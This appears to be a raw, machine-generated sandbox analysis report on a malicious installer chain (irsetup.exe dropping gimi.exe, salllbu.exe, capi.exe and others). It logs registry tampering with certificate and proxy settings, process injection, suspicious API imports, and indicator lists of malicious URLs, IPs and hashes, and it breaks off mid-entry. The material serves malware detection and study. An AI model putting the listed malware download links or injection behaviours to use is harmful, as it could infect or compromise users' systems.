delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IRW226D.tmp" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IRW8B2B.tmp" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IRWA329.tmp" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.jpg" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0" with delete access "irsetup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\pi.png" with delete access "gimi.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" with delete access "gimi.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0" with delete access "gimi.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" with delete access "gimi.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1" with delete access "gimi.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\lua5.1.dll" with delete access "gimi.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\" with delete access30:T8ee,"irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "irsetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS")31:T6ec,"" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "irsetup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "irsetup.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "irsetup.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "irsetup.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "irsetup.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "gimi.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "gimi.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "salllbu.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "salllbu.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "XVD.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000")32:T42a,OpenProcessToken GetFileAttributesA GetModuleFileNameA LoadLibraryA CreateDirectoryA DeleteFileA UnhandledExceptionFilter TerminateProcess GetStartupInfoW GetCommandLineA GetProcAddress GetTempPathA GetModuleFileNameW WriteFile GetModuleHandleW IsDebuggerPresent LoadLibraryW Sleep GetTickCount ShellExecuteExA RegCloseKey RegOpenKeyExA VirtualProtect GetVersionExA GetFileSize LockResource GetModuleHandleA CreateProcessA CreateFileA FindResourceA VirtualAlloc URLDownloadToFileA GetStartupInfoA SetSecurityDescriptorDacl MapViewOfFileEx LoadLibraryExW GetModuleHandleExW GetFileSizeEx FindNextFileW CreateFileMappingA FindNextFileA FindFirstFileExW CreateFileW GetCommandLineW FindFirstFileA LoadLibraryExA CreateThread ExitThread OutputDebugStringA InternetQueryOptionA RegDeleteKeyA GetUserNameA RegCreateKeyExA RegDeleteValueA RegEnumKeyExA GetDriveTypeA DeviceIoControl CopyFileA OpenProcess GetComputerNameA ShellExecuteA GetLastActivePopup SetWindowsHookExA FindWindowA GetWindowThreadProcessId33:Tcf9,"" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "irsetup.exe" wrote bytes "c0df63771cf96277ccf862770d64647700000000c011297600000000fc3e297600000000e0132976000000009457517625e06377c6e0637700000000bc6a507600000000cf3129760000000093195176000000002c32297600000000" to virtual address "0x76EB1000" (part of module "NSI.DLL") "irsetup.exe" wrote bytes "f8112976201429760c112976f5162976a911297685482976b9342976a93429766834297600000000a56b1977e4851977e04d19779cc01977a3bf197792ae19770c7d197700000000" to virtual address "0x74701000" (part of module "MSIMG32.DLL") "irsetup.exe" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "irsetup.exe" wrote bytes "7d07677781ed6577ae866477c6e06377effd66772d16657760146777478d6477a8e263776089647700000000ad3776768b2d7676b641767600000000" to virtual address "0x744F1000" (part of module "WSHTCPIP.DLL") "irsetup.exe" wrote bytes "0efc667781ed6577ae866477c6e06377effd66772d166577c0fc6277da8f6d7760146777478d6477a8e263776089647700000000ad3776768b2d7676b641767600000000" to virtual address "0x746F1000" (part of module "WSHIP6.DLL") "gimi.exe" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "salllbu.exe" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "irsetup.exe" wrote bytes "f8112976201429760c112976f5162976a911297685482976b9342976a93429766834297600000000a56b1977e4851977e04d19779cc01977a3bf197792ae19770c7d197700000000" to virtual address "0x746F1000" (part of module "MSIMG32.DLL") "capi.exe" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "capi.exe" wrote bytes "683ba472749ba072fda09472879ba072859aa072df47a272267ea2725dd0a3727542a172a43594729a6da27200000000" to virtual address "0x00401000" (part of module "CAPI.EXE") "MediaPlay.exe" wrote bytes "c0df63771cf96277ccf862770d64647700000000c011297600000000fc3e297600000000e0132976000000009457517625e06377c6e0637700000000bc6a507600000000cf3129760000000093195176000000002c32297600000000" to virtual address "0x76EB1000" (part of module "NSI.DLL") "MediaPlay.exe" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "faket.exe" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "cubesta.exe" wrote bytes "711122027a3b2102ab8b02007f950200fc8c0200729602006cc805001ecd1e027d261e02" to virtual address "0x754707E4" (part of module "USER32.DLL") "cubesta.exe" wrote bytes "683ba472749ba072fda09472879ba072859aa072df47a272a435947200000000" to virtual address "0x00401000" (part of module "CUBESTA.EXE") "XVD.exe" wrote bytes "7d07677781ed6577ae866477c6e06377effd66772d16657760146777478d6477a8e263776089647700000000ad3776768b2d7676b641767600000000" to virtual address "0x74471000" (part of module "WSHTCPIP.DLL")34:T12a8,"" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "irsetup.exe" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gimi.exe" (Handle: 656) "irsetup.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gimi.exe" (Handle: 656) "irsetup.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gimi.exe" (Handle: 656) "irsetup.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gimi.exe" (Handle: 656) "irsetup.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gimi.exe" (Handle: 656) "irsetup.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.exe" (Handle: 1652) "irsetup.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.exe" (Handle: 1652) "irsetup.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.exe" (Handle: 1652) "irsetup.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\salllbu.exe" (Handle: 1652) "gimi.exe" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" (Handle: 644) "gimi.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" (Handle: 644) "gimi.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" (Handle: 644) "gimi.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" (Handle: 644) "gimi.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_1\irsetup.exe" (Handle: 644) "salllbu.exe" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "salllbu.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "salllbu.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "salllbu.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "salllbu.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 644) "irsetup.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\capi.exe" (Handle: 656) "irsetup.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\capi.exe" (Handle: 656) "irsetup.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\capi.exe" (Handle: 656) "irsetup.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\capi.exe" (Handle: 656) "irsetup.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\MediaPlay.exe" (Handle: 656) "irsetup.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\MediaPlay.exe" (Handle: 656) "irsetup.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\MediaPlay.exe" (Handle: 656) "irsetup.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\MediaPlay.exe" (Handle: 656) "irsetup.exe" wrote 1500 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\faket.exe" (Handle: 656) "irsetup.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\faket.exe" (Handle: 656) "irsetup.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\faket.exe" (Handle: 656) "irsetup.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\faket.exe" (Handle: 656) "irsetup.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\faket.exe" (Handle: 656) "irsetup.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\cubesta.exe" (Handle: 656) "irsetup.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\cubesta.exe" (Handle: 656) "irsetup.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\cubesta.exe" (Handle: 656)35:T3c9e,Found malicious artifacts related to "104.20.208.21": ... URL: http://pastebin.com/raw/PkyFTStD (AV positives: 1/67 scanned on 05/12/2018 06:04:35) URL: https://pastebin.com/raw/pxSE2TJ1 (AV positives: 3/67 scanned on 05/08/2018 18:32:01) URL: http://pastebin.com/raw/KpKVnhtN (AV positives: 2/67 scanned on 05/05/2018 15:37:42) URL: http://pastebin.com/raw.php?i=hYjPvgyB (AV positives: 1/67 scanned on 05/04/2018 19:19:24) URL: https://pastebin.com/raw/UsWX7nDH (AV positives: 2/67 scanned on 05/04/2018 09:48:02) File SHA256: 7aed9dac4ec3b7a86da8eff65032d67ee7fa2828ce7cf820c3c60efa9a107a07 (AV positives: 30/65 scanned on 05/13/2018 10:29:16) File SHA256: e02ea8a1db150d0915e947b8e7b67d7a5a304164f16a3c213722a23a4d51a70a (Date: 05/13/2018 16:15:09) File SHA256: 5c81f431d14110a0a949af0eebf3cb77e914bad220fd30b8020640a9df83df18 (Date: 05/13/2018 13:19:48) File SHA256: 96f0100da4036eccf6eaf5c9c6f6c7a9d1b950b4e8c86b4bc73d0fee7c8b2d69 (Date: 05/13/2018 13:13:19) File SHA256: 328c017281532cd9fe0a3669ca46e6908dd8eaeb394cfc153c087c7fa1d7e027 (Date: 05/13/2018 12:59:51) File SHA256: 25b8f569b8ff3c87b383f68dc4e65f082b7927f751fe13858195de2cd1836a36 (Date: 05/13/2018 12:56:30) File SHA256: ea71d6aafd099e18e4f99e056279e99f7cfa736deb84becff384856faee28f87 (AV positives: 12/69 scanned on 05/12/2018 00:05:33) File SHA256: 2161b9dfb2bafbc3f141257e797a1d07a643774f07430f4509d27e945e0b604e (AV positives: 1/70 scanned on 05/12/2018 23:51:50) File SHA256: 40cdadf5166bea1d799a3e01ccee519239224bf5c49566031e015b380ced92ab (AV positives: 7/65 scanned on 05/12/2018 07:47:57) File SHA256: 07d04cc712c4470aa909df1fd0fbd9511cade92c2574880d3a84f5e8b2933a0d (AV positives: 22/64 scanned on 05/12/2018 03:08:14) Found malicious artifacts related to "178.255.83.1": ... URL: http://ocsp.comodoca.com/mfiwudbomewwsjajbgurdgmcgguabbr64t7oomqqllqoy%C2%BEembuyzqokh6qqukk9qoprac9iq6hjwc99dtdoo2ucceqdcjv35s4c0keixvgtn/mnn (AV positives: 1/67 scanned on 05/09/2018 08:31:07) URL: http://ocsp.usertrust.com/mfiwudbomewwsjajbgurdgmcgguabbtnmnjmndqcqx8fcbwk16ehdims6qquu3m/wqorss9ugohym8cd8ridzssceqdd3t92z9egvqgvi+/vpn04 (AV positives: 1/67 scanned on 05/09/2018 08:31:07) URL: http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbr64t7oomqqllqoy%C2%BEembuyzqokh6qqukk9qoprac9iq6hjwc99dtdoo2ucceecz1mgwksr4wmqcjwqnxd03d (AV positives: 1/67 scanned on 05/09/2018 07:18:10) URL: http://ocsp.usertrust.com/mfewtzbnmeswstajbgurdgmcgguabbr8swzunkvbro5ijhat9gv793rvlaqurb2yejs0jvf6xczu7wo94ctlvbocecdm7lbrsfooq9dwovye3ii3d (AV positives: 1/67 scanned on 05/09/2018 05:58:47) URL: http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbr64t7oomqqllqoy%C2%BEembuyzqokh6qqukk9qoprac9iq6hjwc99dtdoo2ucceevist4rgypnlzafgjnu5xm3d (AV positives: 1/67 scanned on 05/09/2018 05:58:44) File SHA256: 7ac94992cabcf13a0d9b77ada410e190ea99fd815e1e7925fa3e616a47f0bc1f (Date: 05/13/2018 23:57:01) File SHA256: 4b5ce7c67c4eda1bae94b5079b4dc4ada369631b3d0a2163c285d47fc78ca36d (Date: 05/13/2018 21:58:24) File SHA256: 66e7880c070e3dd24a0c8b232f6373f48761d43b7a066ff040b9d21d8a6f4e31 (Date: 05/13/2018 21:53:42) File SHA256: 1c92bce498906374e93e29f67171b39245db2bf6ebaeb6b5ba7821a9b349d494 (Date: 05/13/2018 20:48:24) File SHA256: 5f3215882bf24fcc31519b40fe8995caa6bdd6001d50b39d0a9ddf2dcf7b4bf3 (Date: 05/13/2018 20:05:56) File SHA256: 7e960c4fb3c372168c27b6fdae5e519d3c9b7a743a539fae6114f93dab9e6631 (AV positives: 20/70 scanned on 05/08/2018 00:18:33) File SHA256: 5631f1938bb343a3ce0bf605a6647c50ec91ae247178dab9e645e2d4e449f739 (AV positives: 1/70 scanned on 04/15/2018 07:23:16) File SHA256: e240e4690f28ab95a5590d922c3f6627255ce5caf17ecfd3921d9b4239f49bc5 (AV positives: 1/68 scanned on 04/14/2018 00:51:10) File SHA256: 4ce4a87fe195042952b1958365ce9912c20633797aa75ae7b7e3042beda69b15 (AV positives: 50/67 scanned on 04/11/2018 14:08:21) File SHA256: 408148afa8338b545e68857738478e921233f892f3a1ee6f2e9b548ddfa791ca (AV positives: 16/70 scanned on 04/01/2018 13:06:16) Found malicious artifacts related to "2.18.212.33": ... File SHA256: 068432d03e438b01a55e18a9490855ffba66b4004dacb5616d04ac2e8b76e6fd (AV positives: 27/62 scanned on 04/01/2017 09:31:04) File SHA256: 3af4c4bf41f51be7965badaab8cbf86f05f0eaabbee42a698776ec2c7a0fa1ce (AV positives: 47/56 scanned on 06/13/2016 15:51:30) File SHA256: faf472fc835dc1c37d2d0537c013a12b6d0482b04ec22eae963fa462a96e9ef6 (AV positives: 47/56 scanned on 06/13/2016 15:16:49) File SHA256: 087fbda78eaf47df8bc79fd396a4e19992df017c6f7cc8d3be663eda1d7edf4c (AV positives: 14/56 scanned on 06/13/2016 15:02:57) File SHA256: ca1b4ada890f126c8c6d5c6d487f667eb02d95bac9a71dd8ac1e57af232e81a0 (AV positives: 9/27 scanned on 06/13/2016 14:34:57) File SHA256: 784c3abb696c0b192549074427e341028c3c1de7c730624cdd1b16c7b6c73c39 (Date: 06/13/2016 17:43:59) Found malicious artifacts related to "5.39.224.140": ... URL: https://megadl.fr/ (AV positives: 3/67 scanned on 05/13/2018 11:15:11) URL: https://pjointe.com/?8ib0vlpjjy (AV positives: 2/67 scanned on 05/09/2018 21:46:56) URL: https://mesfichiers.org/?imbuumgk4j" (AV positives: 2/67 scanned on 05/09/2018 14:05:01), URL: http://mesfichiers.org/ (AV positives: 2/67 scanned on 05/08/2018 20:02:46), URL: https://mesfichiers.org/?imbuumgk4j (AV positives: 2/67 scanned on 05/08/2018 19:06:42), File SHA256: cb5197b02905aa5d275b2e5b40e9c1d30e70b2308ebde3782b65cc94b78b04b2 (AV positives: 12/71 scanned on 03/04/2018 17:41:35), File SHA256: 3534082aa2bbbb86488bf532153c8708f359d52ea2e30efc23156be0fbc296b5 (AV positives: 34/68 scanned on 02/17/2018 01:17:49), File SHA256: c862aa4d55fba8317afb063e8ae870ddd07668ee682f86b8984165f89e568f8b (AV positives: 3/66 scanned on 01/11/2018 21:12:04), File SHA256: 14cf32ac498abc21ce8eeb626d08d6d2a205562caefa667fc74061debb89a2c6 (AV positives: 3/68 scanned on 12/25/2017 09:39:03), File SHA256: 1be45d77ade7099c8d089c9e28a6e089ef1bc88f339759035eff98ef2226ce45 (Date: 12/16/2017 09:51:19), File SHA256: 55b49cff69a561d64a0a741d92aa1c3d78c207c411ca459cf4f883e677a951e0 (AV positives: 27/67 scanned on 12/12/2017 22:04:44), File SHA256: 294b6c157c853b845be11dfd928999aa5ce044425289b8dad0dcc149560051a6 (Date: 11/29/2017 12:52:42), File SHA256: 063b75ebdd1ef12e4cadf226e16ba4b0c9e5e88d968ed367e0b56a891717e9b5 (Date: 11/04/2017 02:51:37), File SHA256: f8e6a6972c4e9865f64f9a7781083469c4cdaea8feca31c6fe3e0fa0165b762f (Date: 11/04/2017 02:33:03), File SHA256: d62da45482ce2c3bc1f3121ac256f595a0093bad8dd083d98065e782f788b81c (Date: 11/02/2017 09:33:21), Found malicious artifacts related to "52.85.177.49": ..., File SHA256: 54c1b60288b8d97e93a6a9f4736f99535fab895d5870723fe692072eb47f5644 (Date: 05/14/2018 01:45:24), File SHA256: 3a700655a06aef03d38701217699315899d7ed8cb3bc932f4829918f8b0fdca9 (Date: 05/13/2018 15:56:45), File SHA256: 05662973177b032ae36e576e4b234b65009ff415515866a4f218652f15b21006 (Date: 05/13/2018 12:38:11), File SHA256: 7baa555709716e718a0607bb21847ca61ee171b9d6d59c01f3d2184074c2e7b5 (Date: 05/13/2018 02:16:24), File SHA256: 362978317de9a2f06c42bca4dfb0c542b4c45b0175094290b49ed0899b2b1ca0 (Date: 05/11/2018 03:14:24), File SHA256: 8eb5aac98dfde989fc8e7fce8df467f792cc996f729a53f3c290af404f31e9d6 (AV positives: 41/66 scanned on 05/06/2018 21:19:51), File SHA256: 292e1f3e166af7415ec2d42dc34f2bfec4806c813236a2c815a2c103b9b4c8c0 (AV positives: 20/67 scanned on 05/06/2018 08:36:42), File SHA256: 9547406548faddcb01fb36a2cc3bdfc80cbe0bb7e61d2321abed8b7457173493 (AV positives: 20/66 scanned on 05/06/2018 08:20:56), File SHA256: 4837c54d5200c6b5ae8399e812b548e153adbd3263e6c4ff29ae40ba3fbd9407 (AV positives: 20/66 scanned on 05/06/2018 08:08:52), File SHA256: ae9698f5eeb54efab2548e19a08d7c294863122a2f8e2eed9d4a5cbf1ba30bcd (AV positives: 2/71 scanned on 05/01/2018 23:36:09), Found malicious artifacts related to "149.202.87.154": ..., URL: http://downloadtexttotalk.com/KL3CUYDWUF/YX5CJUR3EX/JFK0027.EXE (AV positives: 11/67 scanned on 05/14/2018 04:15:04), URL: http://geteasyfile.com/Screen/Recorder (AV positives: 6/67 scanned on 05/14/2018 03:38:28), URL: http://downloadtexttotalk.com/kL3CuYDWuF/Yx5cJur3eX/jfk0021.exe (AV positives: 12/67 scanned on 05/14/2018 02:56:49), URL: http://downloadtexttotalk.com/kL3CuYDWuF/Yx5cJur3eX/jfk0023.exe (AV positives: 11/67 scanned on 05/14/2018 01:50:05), URL: http://downloadtexttotalk.com/ (AV positives: 6/67 scanned on 05/13/2018 21:14:21), File SHA256: e8fbb1ff340703cf686644f89f093f9c618a90cc43d615958b541f5889f296a0 (AV positives: 49/66 scanned on 05/14/2018 04:15:24), File SHA256: 9a8c700aab5ecf41b05dcdaba1fc6c51c0531adac3519d4ab18cfa2789dc8f85 (AV positives: 27/64 scanned on 05/14/2018 02:56:53), File SHA256: 3f21bce9b553f42a954888a1d32e06143f10494c14e8eff2419f9a1ef7d41778 (AV positives: 51/66 scanned on 05/14/2018 01:50:06), File SHA256: 09524a50c0e188fdf9f9dcd1632f794559907788b46c7bb7f2f89dc86d9eae52 (AV positives: 30/66 scanned on 05/13/2018 22:01:24), File SHA256: eb03e887a358843a9095ee3b2d401addcc8bdfe62cc583b1a0fddb32ec6969ee (AV positives: 31/66 scanned on 05/12/2018 20:22:30), File SHA256: 460d6a7e82a07d2e3a99fcbf435fe743682306fafd967124980072e0c73d63d0 (Date: 05/12/2018 14:12:06), File SHA256: 38becbb45f951c884630eecc4cd4512d17cebbd2d28e1c537d015623d4d4ba2c (Date: 05/12/2018 14:11:37), File SHA256: 65035f8d051d6bf4625362127ac647e62b31caf85e495fd4f4218a7504ec4a56 (Date: 04/07/2018 14:19:21), File SHA256: 9d6cda0228f333ccad29e3ea8324c42edc1e457d74992cb74937ace7f02e1d33 (Date: 04/02/2018 10:37:30), File SHA256: 8b0cdbcc3288972239b0ca611e378a199ab12b14aa20ac5b6e50cad2c28aca80 (Date: 04/02/2018 10:29:34), Found malicious artifacts related to "104.28.9.192": ..., URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=61d2c50e29b4e53e523ead1959c6e0cf&token=736721833d8b3be0e459762508b46ab3 (AV positives: 7/67 scanned on 05/14/2018 07:12:51), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=ef92b58a77b9cc43d9996d08d647a9f2&token=4bf3f5db30e030485e493e951d510e19 (AV positives: 7/67 scanned on 05/14/2018 07:12:45), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=d048560b9a35627322737c28c0d1a509&token=ebeda00923edbd529b8579c9eca8e3e2 (AV positives: 7/67 scanned on 05/14/2018 07:12:20), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=293a4804be3e35f419a128beb065c738&token=6451cd0c0443647bd53c77f344ccaf13 (AV positives: 7/67 scanned on 05/14/2018 07:11:23), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=b77e15bcde7d39bbc525ce08c5d36e1a&token=88cef5e75a208ff217a2f672e0ca6dd6 (AV positives: 7/67 scanned on 05/14/2018 07:08:42), File SHA256: 41aa78a40e0946eeb2e57f92297288d7208d21ddffca2db890064578d4b5224e (AV positives: 37/66 scanned on 05/14/2018 03:03:09), File SHA256: 4fecf2ab63c47276f8aef32a08738d448a01a8786d27a48adefb52649ad5120d (AV positives: 39/66 scanned on 05/13/2018 18:06:32), File SHA256: 6673392aa171aabb26c01f4a343963c87b4fdd028f65beeb96d81ba0930d80f4 